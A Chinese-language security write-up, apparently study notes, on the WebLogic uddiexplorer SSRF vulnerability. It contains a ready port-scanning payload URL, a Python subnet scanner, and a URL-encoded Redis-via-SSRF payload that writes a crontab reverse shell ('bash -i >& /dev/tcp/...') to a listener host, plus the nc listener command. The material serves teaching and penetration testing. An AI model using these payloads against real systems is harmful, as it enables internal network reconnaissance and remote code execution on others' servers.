Weblogic_SSRF

Weblogic-SSRF漏洞

0x01 漏洞背景

最近在某授权项目中偶然挖到了一个ssrf,是在信息收集中碰到的,也是本人在实际项目中遇到的第一个ssrf漏洞(太菜了…),闲话不多说,记录一下以备后期翻阅复习(以下部分理论知识来自于互联网)。

0x02 漏洞介绍

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,所以SSRF的一大利用是探测内网端口开放信息。

0x03 漏洞利用

首先,我们在信息收集当中可能会碰到类似http://xxx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp的页面,例如我在最近这某次项目中就遇到了,具体页面内容如下图所示:

uddiexplorer

然后,如果了解这个漏洞的朋友可以直接利用payload来进行内网的端口探测,payload如下:

http://xxx.xxx.xxx.xxx:xxxx[WebLogic服务的IP和端口]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://xxx.xxx.xxx.xxx:xxxx[要探测的内网IP和端口]&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这里直接利用get方法传输,效果如下图所示:

payload_get

上图中可以看到6379端口是未开放的,这里我们判断端口或服务存在的话可以参考下图(来源于2016乌云大会上猪猪侠师傅介绍的《WebLogic SSRF 服务探测》):

weblogic_ssrf

下面,再看一张服务开放的图,如下所示:

payload_get_yes

通过对比猪猪侠师傅的那张图片我们可以明显的判断出内网ip:172.16.1.253的22端口也就是ssh的服务是开放的。
当然,如果我们这里没有记住payload的话也不要紧,还有个方法是打开我们的神器burpsuite,点击页面的”Search”按钮进行抓包,我们就可以从burpsuite中看到传输的内容并进行修改,如下图所示:

burp_get_payload

burp_modify_payload

在上图中我们可以对红框中的也就是operator参数的内容进行修改,修改成我们需要探测的内网的ip和端口,例如修改为http://172.16.1.253:80 (注意这里ip前面一定要加http://,不然返回包中可以看到会报无协议),如下图所示:

error

上图中这个没有加http://,可以在返回包中看到会报无协议,也就无法进行探测。

currect

上图中加了http://,可以看到返回包中正常显示我们想要的内容,根据回显我们可以判断出此ip的80端口是开放的。

这里,我们既然知道了其判断服务是否开启是根据返回的内容不同,那就可以编写或利用网上的python脚本来批量进行内网探测,代码如下:

import re
import requests
import thread
import time



def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print (final_ip)
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://xxx.xxx.xxx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print ('[!]'+final_ip + ':' + port)
        except Exception:
            pass


if __name__ == '__main__':
    ip = "172.18.0"  
    if ip:
        print (ip)
        ite_ip(ip)
    else:
        print ("no ip")

以上脚本执行效果如下图所示:

ssrf_py

这里,可以根据实际的需求来对脚本进行修改和完善。

0x04 利用内网redis反弹shell

首先先说明一下,在当时的实际项目中由于时间比较紧,所以仅探测了部分网段,可惜并未探测到开启redis服务的ip,这里便使用docker搭建了一个本地环境来进行演示此部分的内容。

理论知识:Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d(换行和回车)来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

搭建过程就不讲了,使用docker搭建也比较简单,这里只记录一下一个坑点:

在使用docker下载镜像时,可能会可能出现以下错误:

docker_error

这时候可以执行以下命令,创建daemon.json文件:

vim /etc/docker/daemon.json

然后将以下内容(阿里云镜像)添加到上述文件中:

{
 "registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}

之后执行以下命令来重启docker:

systemctl daemon-reload 
systemctl restart docker

然后重新下载镜像,会发现飞快。

环境搭建完成后,经过探测发现内网一个ip开放了6379端口,也就是redis服务,如下图所示:

ssrf_redis

然后构造几条redis命令(其中的ip为进行监听的虚拟机ip和端口):

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.233.139/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上述几条命令进行urlencode,注意加入%0D%0A(回车换行),如下所示:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.233.139%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后把构造好的数据包用burp进行发送,把url编码后的内容放在开放6379端口的ip的后面,点击发送,如下图所示:

burp_reboundShell

在另一个虚拟机(192.168.233.139)中监听1234端口,使用以下命令:

nc -lnvp 1234

可以看到反弹shell成功,如下图所示:

rebound_shell_ok

最后再补充下知识:
可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件